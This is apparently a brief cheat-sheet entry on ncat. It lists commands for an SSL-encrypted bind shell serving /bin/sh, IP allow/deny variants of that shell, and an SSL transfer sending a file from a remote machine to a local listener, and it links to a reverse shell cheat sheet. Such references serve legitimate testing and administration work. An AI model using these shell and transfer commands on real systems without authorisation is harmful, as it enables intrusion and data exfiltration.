Ncat
ncat — the nmap project’s netcat rewrite. Same idea as
Netcat, but adds SSL and IP allow/deny.
SSL bind shell
ncat -lnvp PORTNUM -e /bin/sh --ssl # listen
ncat LISTENING_IP PORTNUM --ssl # connectAllow / deny by IP
ncat -lnvp PORTNUM --allow GOOD_IP -e /bin/sh
ncat -lnvp PORTNUM --deny BAD_IP -e /bin/sh
ncat -lnvp PORTNUM --allowfile GOOD_IPs.txt -e /bin/sh
ncat -lnvp PORTNUM --denyfile BAD_IPs.txt -e /bin/shSSL file transfer
Remote → local:
ncat -lp PORTNUM --ssl > FILENAME # local
ncat --ssl --send-only LOCAL_MACHINE_IP PORTNUM < FILENAME # remoteSee also
- Netcat — the original
nc(port scan, bind shell, transfer). - Quick File Transfer — other transfer methods.
- Reverse Shell Cheat Sheet.